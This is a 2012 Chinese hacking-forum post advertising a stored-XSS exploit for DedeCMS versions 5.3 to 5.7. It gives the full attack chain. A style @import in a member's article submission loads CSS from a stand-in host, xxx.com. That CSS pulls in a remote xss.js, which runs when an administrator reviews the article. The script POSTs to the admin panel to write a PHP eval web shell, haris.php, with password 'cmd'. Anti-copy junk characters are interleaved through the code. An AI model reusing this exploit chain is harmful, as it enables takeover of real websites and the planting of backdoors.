找回密码
 立即注册
查看: 2555|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
; Z+ b! {) `" a5 Y为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)7 ^+ b- G* w+ c5 Y, m3 Y
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
1 q' G. `9 y+ \  S下面说说利用方法。
& ?& i+ m" O. g, `+ D( M* k4 J& T) F条件有2个:
+ P5 e& d: W6 ]) k: o$ D1.开启注册
3 a! F& T) k% [$ z: H1 v/ e2.开启投稿
5 w2 m( D% g$ {  ~* d注册会员----发表文章# ~8 y( h. O: B
内容填写:1 L2 a3 n5 x7 T3 Z3 L
复制代码
0 Q. Q. d  m3 k! W7 B<style>@im\port'\http://xxx.com/xss.css';</style>( `, _) a3 |$ M' T+ R0 H
新建XSS.Css( S8 f, l; W( m  F3 g
复制代码
9 G7 f0 }$ {+ l# j# h.body{4 z! N' A1 M- X# t: f, [4 d6 b
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
1 w- X2 r3 \* g7 b新建xss.js 内容为
+ T) n" @) n. M复制代码: x3 \) H7 T% k7 T3 T
1.var request = false;
) W8 J% C! m2 x7 i/ b0 E3 g+ B2 x2.if(window.XMLHttpRequest) {
) T% ]$ G8 t% O9 y7 Z3.request = new XMLHttpRequest();& ?* b( M; Q( D% G/ l
4.if(request.overrideMimeType) {: X/ [  H# Q$ F  {& x* ]4 G5 a* ]/ C
5.request.overrideMimeType('text/xml');
: O4 k9 N( [/ g+ Z6.}2 z; t) N) P# i1 N
7.} else if(window.ActiveXObject) {
5 D  S+ S2 o5 x4 z' E5 ]0 l  N5 R8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
& \0 g( B8 l7 H# i+ V8 N) _* H9.for(var i=0; i<versions.length; i++) {
2 K8 b6 X, j5 X' s; c) E5 C10.try {( a" I  ^/ m* z* u+ R+ w. W7 N
11.request = new ActiveXObject(versions);
. ~1 @9 a+ x( ]+ |12.} catch(e) {}6 \4 M7 g( V" x& v) x1 h; w
13.}6 e' R" s! S% L$ T' L" C% m6 d
14.}
9 w9 ~- Q6 n8 x3 T15.xmlhttp=request;' H3 K: Y. D) d% X# K8 M( R5 i
16.function getFolder( url ){3 F/ A3 e: F: A' M- ?/ c
17. obj = url.split('/')
" g+ x8 o- h( C3 q18. return obj[obj.length-2]
3 U- R7 ]: d" V7 D+ ~  k  S6 i19.}5 Y; I$ j6 X. L5 w& J! @1 x/ ?. v
20.oUrl = top.location.href;/ F& ^1 U& M* Y: Q; y) ~4 w6 ~+ h  f# B
21.u = getFolder(oUrl);
; K4 n5 l- m" Y9 V8 t7 [$ p# W22.add_admin();4 b9 x2 P# ?( e, U5 |
23.function add_admin(){7 q4 c0 E; D/ b& h; U  c
24.var url= "/"+u+"/sys_sql_query.php";8 b, S7 _. J+ E5 O  Z2 v' ^' C: M* i
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";1 }; B# m  l# _# d. Z5 Y' G  @
26.xmlhttp.open("POST", url, true);
7 v, E" w. s0 C3 z% N( _4 ~27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");! n( H! Q8 ~9 ?9 `2 Q9 @- k8 h0 H: R
28.xmlhttp.setRequestHeader("Content-length", params.length);
3 j) M& y" V3 U! Y' P5 Y$ `+ [; Y29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");
, x. T" X) G, D8 P9 k# M30.xmlhttp.send(params);
, H0 Y4 u  D# p; _# Q  ]31.}# _$ Z3 ^/ f9 ~6 ?8 Q) ]. K( V0 V
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表